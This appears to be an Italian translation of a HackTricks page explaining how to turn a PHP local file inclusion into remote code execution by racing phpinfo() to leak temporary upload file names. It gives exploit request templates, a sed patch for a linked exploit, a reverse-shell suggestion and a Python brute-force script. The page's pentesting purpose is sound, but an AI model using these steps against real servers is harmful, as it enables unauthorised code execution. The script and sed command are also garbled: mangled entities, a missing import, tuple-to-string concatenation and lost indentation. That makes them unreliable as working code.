hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
2024-02-10 13:03:23 +00:00

5.3 KiB

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Per sfruttare questa vulnerabilità hai bisogno di: una vulnerabilità LFI, una pagina in cui viene visualizzato phpinfo(), "file_uploads = on" e il server deve essere in grado di scrivere nella directory "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Devi correggere l'exploit (cambia => in =>). Puoi farlo facendo:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Devi anche modificare il payload all'inizio dell'exploit (ad esempio per un php-rev-shell), il REQ1 (che dovrebbe puntare alla pagina phpinfo e includere il padding, ad esempio: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), e LFIREQ (che dovrebbe puntare alla vulnerabilità LFI, ad esempio: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Controlla il doppio "%" quando si sfrutta il carattere nullo)

{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}

Teoria

Se è consentito caricare file in PHP e si tenta di caricare un file, questo file viene memorizzato in una directory temporanea fino a quando il server ha terminato di elaborare la richiesta, quindi questo file temporaneo viene eliminato.

Quindi, se è stata trovata una vulnerabilità LFI nel server web, è possibile cercare di indovinare il nome del file temporaneo creato e sfruttare una RCE accedendo al file temporaneo prima che venga eliminato.

In Windows, i file di solito vengono memorizzati in C:\Windows\temp\php

In Linux, il nome del file solitamente è casuale e si trova in /tmp. Poiché il nome è casuale, è necessario estrarre da qualche parte il nome del file temporaneo e accedervi prima che venga eliminato. Ciò può essere fatto leggendo il valore della variabile $_FILES all'interno del contenuto della funzione "phpconfig()".

phpinfo()

PHP utilizza un buffer di 4096B e quando è pieno, viene inviato al client. Quindi il client può inviare molte richieste grandi (utilizzando intestazioni grandi) caricando un reverse shell php, attendere che la prima parte di phpinfo() venga restituita (dove si trova il nome del file temporaneo) e cercare di accedere al file temporaneo prima che il server php elimini il file sfruttando una vulnerabilità LFI.

Script Python per tentare di forzare il nome (se la lunghezza è 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: